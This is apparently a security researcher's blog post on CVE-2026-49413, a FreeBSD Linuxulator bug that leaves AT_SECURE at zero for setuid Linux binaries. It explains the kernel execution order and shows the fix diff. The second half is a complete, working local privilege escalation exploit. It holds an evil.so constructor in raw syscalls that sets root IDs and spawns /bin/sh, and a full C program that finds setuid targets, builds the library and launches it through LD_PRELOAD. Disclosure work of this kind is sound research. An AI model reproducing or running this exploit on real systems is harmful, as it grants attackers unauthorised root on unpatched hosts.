ii4gsp

CVE-2026-49413 - FreeBSD LPE via Linuxulator AT_SECURE Logic Bug


Introduction

This blog post describes how to exploit a local privilege escalation vulnerability caused by a logic bug in FreeBSD’s Linuxulator subsystem. The vulnerability exists in the LINUX_AT_SECURE auxiliary vector generation during execve() of setuid Linux ELF binaries.
Unlike typical kernel exploitation that requires race conditions or memory corruption, this is a deterministic logic bug — 100% reproducible with no timing dependency.


Affected Versions

All supported versions of FreeBSD with the Linuxulator (linux.ko / linux64.ko) loaded are affected. Systems that do not have either module loaded, or which do not have any set-uid/set-gid Linux executables, are not affected.

Branch Fixed Version
stable/15 15.1-STABLE
releng/15.1 15.1-RC3-p1
releng/15.0 15.0-RELEASE-p10
stable/14 14.4-STABLE
releng/14.4 14.4-RELEASE-p6
releng/14.3 14.3-RELEASE-p15


Vulnerability

The FreeBSD Linuxulator provides Linux binary compatibility by emulating the Linux kernel ABI. When a Linux ELF binary is executed, the kernel populates the ELF auxiliary vector (auxv) on the process stack. One critical entry is AT_SECURE, which tells the Linux dynamic linker (ld-linux.so) whether the process is running with elevated privileges. When AT_SECURE=1, the linker enters “secure mode” and ignores dangerous environment variables like LD_PRELOAD and LD_LIBRARY_PATH.


The vulnerable code is in __linuxN(copyout_auxargs)(), which determines the AT_SECURE value by checking the P_SUGID process flag. At [A], the function reads p->p_flag & P_SUGID to decide if the binary is running set-id. At [B], this value is written to the LINUX_AT_SECURE auxv entry on the user stack. The problem is that P_SUGID is not yet set at this point in the execve() execution flow. __linuxN(copyout_auxargs)()

// sys/compat/linux/linux_elf.c — __linuxN(copyout_auxargs)()
int
__linuxN(copyout_auxargs)(struct image_params *imgp, uintptr_t base)
{
	struct thread *td = curthread;
	Elf_Auxargs *args;
	Elf_Auxinfo *aarray, *pos;
	struct proc *p;
	int error, issetugid;

	p = imgp->proc;
	issetugid = p->p_flag & P_SUGID ? 1 : 0;  // [A] BUG: P_SUGID is still 0
	args = imgp->auxargs;
	aarray = pos = malloc(LINUX_AT_COUNT * sizeof(*pos), M_TEMP,
	    M_WAITOK | M_ZERO);

	__linuxN(arch_copyout_auxargs)(imgp, &pos);

	// [...]

	AUXARGS_ENTRY(pos, AT_UID, imgp->proc->p_ucred->cr_ruid);
	AUXARGS_ENTRY(pos, AT_EUID, imgp->proc->p_ucred->cr_svuid);
	AUXARGS_ENTRY(pos, AT_GID, imgp->proc->p_ucred->cr_rgid);
	AUXARGS_ENTRY(pos, AT_EGID, imgp->proc->p_ucred->cr_svgid);
	AUXARGS_ENTRY(pos, LINUX_AT_SECURE, issetugid);  // [B] AT_SECURE = 0

	// [...]

	AUXARGS_ENTRY(pos, AT_NULL, 0);

	free(imgp->auxargs, M_TEMP);
	imgp->auxargs = NULL;
	KASSERT(pos - aarray <= LINUX_AT_COUNT, ("Too many auxargs"));

	error = copyout(aarray, PTRIN(base), sizeof(*aarray) * LINUX_AT_COUNT);
	free(aarray, M_TEMP);
	return (error);
}


Execution Order in kern_exec.c

To understand the bug, we need to look at the execution order within do_execve() in kern/kern_exec.c:


Step 1 — Setuid detection (Line 615)

When the kernel detects a setuid/setgid binary, it immediately sets imgp->credential_setid = true. This happens early, before any stack setup. kern_exec.c:609-615

// sys/kern/kern_exec.c — do_execve()
static int
do_execve(struct thread *td, struct image_args *args, struct mac *mac_p,
    struct vmspace *oldvmspace)
{
	// [...]

	if (credential_changing &&
#ifdef CAPABILITY_MODE
	    ((oldcred->cr_flags & CRED_FLAG_CAPMODE) == 0) &&
#endif
	    (imgp->vp->v_mount->mnt_flag & MNT_NOSUID) == 0 &&
	    (p->p_flag & P_TRACED) == 0) {
		imgp->credential_setid = true;   // setuid detected — set immediately
		VOP_UNLOCK(imgp->vp);
		imgp->newcred = crdup(oldcred);
		if (attr.va_mode & S_ISUID) {
			euip = uifind(attr.va_uid);
			change_euid(imgp->newcred, euip);
		}

		// [...]
	}

	// [...]
}


Step 2 — Auxiliary vector copyout (Line 744)

Next, the kernel copies out the argument strings and auxiliary vector to the new process stack. This is where copyout_auxargs() is called, which reads P_SUGID. At this point, imgp->credential_setid is already true (set in Step 1), but p->p_flag & P_SUGID is still 0 (not yet set). kern_exec.c:744

// sys/kern/kern_exec.c — do_execve()
static int
do_execve(struct thread *td, struct image_args *args, struct mac *mac_p,
    struct vmspace *oldvmspace)
{
	// [...]

	/*
	 * Copy out strings (args and env) and initialize stack base.
	 */
	error = (*p->p_sysent->sv_copyout_strings)(imgp, &stack_base);

	// [...]
}


Step 3 — P_SUGID flag set (Line 846)

Only now, well after the auxv has already been written to the user stack, does the kernel call setsugid() to set the P_SUGID flag. kern_exec.c:840-846

// sys/kern/kern_exec.c — do_execve()
static int
do_execve(struct thread *td, struct image_args *args, struct mac *mac_p,
    struct vmspace *oldvmspace)
{
	// [...]

	if (imgp->credential_setid) {
		/*
		 * Turn off syscall tracing for set-id programs, except for
		 * root.  Record any set-id flags first to make sure that
		 * we do not regain any tracing during a possible block.
		 */
		setsugid(p);   // P_SUGID = 1 — too late!

		// [...]
	}

	// [...]
}


Step 4 — New credentials installed (Line 880)

Finally, the elevated credentials (euid=0 for setuid-root binaries) are installed. kern_exec.c:879-880

// sys/kern/kern_exec.c — do_execve()
static int
do_execve(struct thread *td, struct image_args *args, struct mac *mac_p,
    struct vmspace *oldvmspace)
{
	// [...]

	/*
	 * Set the new credentials.
	 */
	if (imgp->newcred != NULL) {
		proc_set_cred(p, imgp->newcred);   // euid=0 installed
		crfree(oldcred);
		oldcred = NULL;
	}

	// [...]
}


Execution Flow

The result: the process runs with euid=0, but AT_SECURE=0 is on the stack.

do_execve()
│
├── [Line 615]  imgp->credential_setid = true
│
├── [Line 744]  sv_copyout_strings(imgp)
│   └── copyout_auxargs(imgp)
│       ├── issetugid = p->p_flag & P_SUGID  →  0    // P_SUGID not yet set
│       └── AUXARGS_ENTRY(LINUX_AT_SECURE, 0)         // wrong value written
│
├── [Line 846]  setsugid(p)                              // too late
│
└── [Line 880]  proc_set_cred(p, imgp->newcred)          // euid=0 installed


Patch

The fix replaces the P_SUGID process flag check with imgp->credential_setid, which is already set at the point where the auxiliary vector is constructed. d39be1b1b50d

diff --git a/sys/compat/linux/linux_elf.c b/sys/compat/linux/linux_elf.c
index c9eb6aea8373..6c9f785c97e7 100644
--- a/sys/compat/linux/linux_elf.c
+++ b/sys/compat/linux/linux_elf.c
@@ -492,11 +492,9 @@ __linuxN(copyout_auxargs)(struct image_params *imgp, uintptr_t base)
 	struct thread *td = curthread;
 	Elf_Auxargs *args;
 	Elf_Auxinfo *aarray, *pos;
-	struct proc *p;
 	int error, issetugid;
 
-	p = imgp->proc;
-	issetugid = p->p_flag & P_SUGID ? 1 : 0;
+	issetugid = imgp->credential_setid ? 1 : 0;
 	args = imgp->auxargs;
 	aarray = pos = malloc(LINUX_AT_COUNT * sizeof(*pos), M_TEMP,
 	    M_WAITOK | M_ZERO);


Exploitation

The exploit is trivial: set LD_PRELOAD to a malicious shared library, then execute a setuid-root Linux binary. Because AT_SECURE=0, ld-linux.so loads the library without question, executing the attacker’s constructor code in an euid=0 context.


Exploit Flow

1. Unprivileged user (uid=1000): Create evil.so
   └── __attribute__((constructor)): setuid(0) + setgid(0) + execve("/bin/sh")
   └── Uses raw Linux syscalls (no libc dependency)

2. Unprivileged user: LD_PRELOAD=/tmp/evil.so /compat/linux/usr/bin/su

3. Kernel do_execve():
   ├── [Line 615] credential_setid = true              ← setuid detected
   ├── [Line 744] copyout_auxargs() → AT_SECURE = 0    ← BUG
   ├── [Line 846] setsugid(p)                           ← too late
   └── [Line 880] proc_set_cred() → euid = 0           ← root installed

4. Userspace execution begins:
   ├── ld-linux.so: AT_SECURE=0 → secure mode disabled
   ├── ld-linux.so: LD_PRELOAD=/tmp/evil.so → loads evil.so
   └── evil.so constructor: runs with euid=0

5. evil.so:
   ├── setuid(0)   → ruid = 0
   ├── setgid(0)   → rgid = 0
   └── execve("/bin/sh") → root shell


evil.so

The shared library constructor uses raw Linux syscall numbers via inline assembly to avoid any glibc dependency. It is compiled as a position-independent shared object with -nostdlib and then branded as a Linux ELF with brandelf -t Linux, which tells the FreeBSD kernel to route its syscalls through the Linuxulator instead of the native handler.

$ cat evil.c
void _start(void){}

__attribute__((constructor))
void pwned(void)
{
    long euid;
    __asm__ volatile("syscall":"=a"(euid):"a"(107):"rcx","r11");
    char m1[]="\n[+] evil.so: euid=";
    __asm__ volatile("syscall"::"a"(1),"D"(2),"S"(m1),"d"(18):"rcx","r11","memory");
    char d='0'+(euid%10);
    __asm__ volatile("syscall"::"a"(1),"D"(2),"S"(&d),"d"(1):"rcx","r11","memory");
    char nl='\n';
    __asm__ volatile("syscall"::"a"(1),"D"(2),"S"(&nl),"d"(1):"rcx","r11","memory");
    if(euid==0)
    {
        char m2[]="[+] GOT ROOT! Spawning shell...\n";
        __asm__ volatile("syscall"::"a"(1),"D"(2),"S"(m2),"d"(31):"rcx","r11","memory");
        __asm__ volatile("syscall"::"a"(105),"D"(0):"rcx","r11");
        __asm__ volatile("syscall"::"a"(106),"D"(0):"rcx","r11");
        char *s="/bin/sh";
        char *a[]={s,0};
        __asm__ volatile("syscall"::"a"(59),"D"(s),"S"(a),"d"(0):"rcx","r11","memory");
    }
    __asm__ volatile("syscall"::"a"(60),"D"(1):"rcx","r11");
}

$ cc -shared -fPIC -nostdlib -o evil.so evil.c
$ brandelf -t Linux evil.so


Executing the exploit against a setuid Linux binary to obtain a root shell.

exploit_result


Full Exploit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/module.h>

#define EVIL_SRC "/tmp/.poc_evil.c"
#define EVIL_SO  "/tmp/.poc_evil.so"

static const char evil_src[] =
    "void _start(void){}\n"
    "__attribute__((constructor))\n"
    "void pwned(void)\n"
    "{\n"
    "    long euid;\n"
    "    __asm__ volatile(\"syscall\":\"=a\"(euid):\"a\"(107):\"rcx\",\"r11\");\n"
    "    char m1[]=\"\\n[+] evil.so: euid=\";\n"
    "    __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(m1),\"d\"(18):\"rcx\",\"r11\",\"memory\");\n"
    "    char d='0'+(euid%10);\n"
    "    __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(&d),\"d\"(1):\"rcx\",\"r11\",\"memory\");\n"
    "    char nl='\\n';\n"
    "    __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(&nl),\"d\"(1):\"rcx\",\"r11\",\"memory\");\n"
    "    if(euid==0)\n"
    "    {\n"
    "        char m2[]=\"[+] GOT ROOT! Spawning shell...\\n\";\n"
    "        __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(m2),\"d\"(31):\"rcx\",\"r11\",\"memory\");\n"
    "        __asm__ volatile(\"syscall\"::\"a\"(105),\"D\"(0):\"rcx\",\"r11\");\n"
    "        __asm__ volatile(\"syscall\"::\"a\"(106),\"D\"(0):\"rcx\",\"r11\");\n"
    "        char *s=\"/bin/sh\";\n"
    "        char *a[]={s,0};\n"
    "        __asm__ volatile(\"syscall\"::\"a\"(59),\"D\"(s),\"S\"(a),\"d\"(0):\"rcx\",\"r11\",\"memory\");\n"
    "    }\n"
    "    __asm__ volatile(\"syscall\"::\"a\"(60),\"D\"(1):\"rcx\",\"r11\");\n"
    "}\n";

static const char *suid_candidates[] = {
    "/compat/linux/usr/bin/su",
    "/compat/linux/usr/bin/sudo",
    "/compat/linux/usr/bin/passwd",
    "/compat/linux/usr/bin/chage",
    "/compat/linux/usr/bin/gpasswd",
    "/compat/linux/usr/bin/newgrp",
    "/compat/linux/usr/bin/crontab",
    "/compat/linux/usr/bin/pkexec",
    "/compat/linux/usr/bin/at",
    "/compat/linux/usr/sbin/unix_chkpwd",
    "/compat/linux/usr/lib/polkit-1/polkit-agent-helper-1",
    "/compat/linux/usr/libexec/dbus-daemon-launch-helper",
    "/compat/linux/bin/ping",
    "/compat/linux/bin/mount",
    "/compat/linux/bin/umount",
    "/compat/linux/usr/bin/ls",
    "/compat/linux/usr/bin/cat",
    "/compat/linux/usr/bin/id",
    "/compat/linux/usr/bin/env",
    "/compat/linux/bin/ls",
    "/compat/linux/bin/cat",
    NULL
};

static const char *find_suid_linux_binary(void)
{
    struct stat sb;
    int i;

    for (i = 0; suid_candidates[i]; i++)
    {
        if (stat(suid_candidates[i], &sb) == 0 && (sb.st_mode & S_ISUID) && sb.st_uid == 0)
            return suid_candidates[i];
    }

    for (i = 0; suid_candidates[i]; i++)
    {
        if (stat(suid_candidates[i], &sb) == 0)
            return suid_candidates[i];
    }
    return NULL;
}

static int check_linuxulator(void)
{
    if (modfind("linux64") >= 0 || modfind("linux") >= 0)
        return 1;

    struct stat sb;
    if (stat("/compat/linux/lib64/ld-linux-x86-64.so.2", &sb) == 0)
        return 1;

    return 0;
}

static int check_at_secure(const char *target)
{
    int pipefd[2];
    if (pipe(pipefd) < 0)
        return -1;

    pid_t pid = fork();
    if (pid < 0)
        return -1;

    if (pid == 0)
    {
        close(pipefd[0]);
        dup2(pipefd[1], STDOUT_FILENO);
        dup2(pipefd[1], STDERR_FILENO);
        close(pipefd[1]);
        setenv("LD_SHOW_AUXV", "1", 1);
        execl(target, target, "--help", NULL);
        _exit(1);
    }

    close(pipefd[1]);

    char buf[4096];
    int total = 0, n;
    while ((n = read(pipefd[0], buf + total,
                     sizeof(buf) - total - 1)) > 0)
        total += n;
    buf[total] = '\0';
    close(pipefd[0]);

    int status;
    waitpid(pid, &status, 0);

    char *p = strstr(buf, "AT_SECURE");
    if (!p)
        return -1;

    char *colon = strchr(p, ':');
    if (colon)
    {
        int val = atoi(colon + 1);
        return (val == 0) ? 0 : 1;
    }
    return -1;
}

static int build_evil_so(void)
{
    FILE *f = fopen(EVIL_SRC, "w");
    if (!f) { perror("[-] fopen"); return -1; }
    fputs(evil_src, f);
    fclose(f);

    char cmd[512];
    snprintf(cmd, sizeof(cmd),
        "cc -shared -fPIC -nostdlib -o %s %s 2>/dev/null && "
        "brandelf -t Linux %s 2>/dev/null",
        EVIL_SO, EVIL_SRC, EVIL_SO);

    if (system(cmd) != 0)
    {
        fprintf(stderr, "[-] evil.so compile failed\n");
        return -1;
    }
    chmod(EVIL_SO, 0755);
    return 0;
}

static void cleanup(void)
{
    unlink(EVIL_SRC);
}

int main()
{
    const char *target = NULL;

    printf("[*] uid=%d euid=%d pid=%d\n\n", getuid(), geteuid(), getpid());

    printf("--- Phase 1: Environment Check ---\n\n");

    int linux_loaded = check_linuxulator();
    if (linux_loaded)
    {
        printf("[+] Linuxulator: loaded\n");
    }
    else
    {
        printf("[-] Linuxulator: not loaded\n");
        printf("    This system is NOT vulnerable (linux64.ko required)\n");
        return 1;
    }

    struct stat sb;
    if (stat("/compat/linux/lib64/ld-linux-x86-64.so.2", &sb) == 0)
    {
        printf("[+] ld-linux-x86-64.so.2: present\n");
    }
    else if (stat("/compat/linux/lib/ld-linux.so.2", &sb) == 0)
    {
        printf("[+] ld-linux.so.2: present (32-bit)\n");
    }
    else
    {
        printf("[-] ld-linux: not found\n");
        printf("    glibc not installed. NOT exploitable.\n");
        return 1;
    }

    if (!target)
        target = find_suid_linux_binary();

    if (!target)
    {
        printf("[-] No Linux binary found under /compat/linux/\n");
        printf("    No setuid target available. NOT exploitable.\n");
        return 1;
    }

    if (stat(target, &sb) != 0)
    {
        printf("[-] Target not found: %s\n", target);
        return 1;
    }

    int is_suid = (sb.st_mode & S_ISUID) && sb.st_uid == 0;
    if (is_suid)
    {
        printf("[+] Target: %s (setuid-root)\n", target);
    }
    else
    {
        printf("[!] Target: %s (NOT setuid-root)\n", target);
        return 1;
    }

    printf("\n--- Phase 2: AT_SECURE Check ---\n\n");
    printf("[*] Testing AT_SECURE value via LD_SHOW_AUXV...\n");

    int at_secure = check_at_secure(target);

    if (at_secure == 0)
    {
        printf("[+] AT_SECURE = 0\n");
        printf("[+] VULNERABLE: setuid binary has AT_SECURE=0\n");
        if (is_suid)
            printf("[+] LD_PRELOAD will be honored with euid=0\n");
        else
            printf("[!] Bug confirmed but target is not setuid-root\n");
    }
    else if (at_secure == 1)
    {
        printf("[-] AT_SECURE = 1\n");
        printf("[-] SAFE: kernel correctly sets AT_SECURE (patched?)\n");
        return 0;
    }
    else
    {
        printf("[?] AT_SECURE: could not determine\n");
        printf("    LD_SHOW_AUXV output not found.\n");
        printf("    Possible: static binary or AT_SECURE=1 (not vuln)\n");
        return 1;
    }

    printf("\n--- Phase 3: Local Privilege Escalation ---\n\n");

    if (build_evil_so() != 0)
    {
        cleanup();
        return 1;
    }
    printf("[+] evil.so built: %s\n", EVIL_SO);

    printf("[*] Launching: LD_PRELOAD=%s %s\n", EVIL_SO, target);

    setenv("LD_PRELOAD", EVIL_SO, 1);
    execl(target, target, NULL);
    perror("[-] execl");
    cleanup();
    return 1;
}


References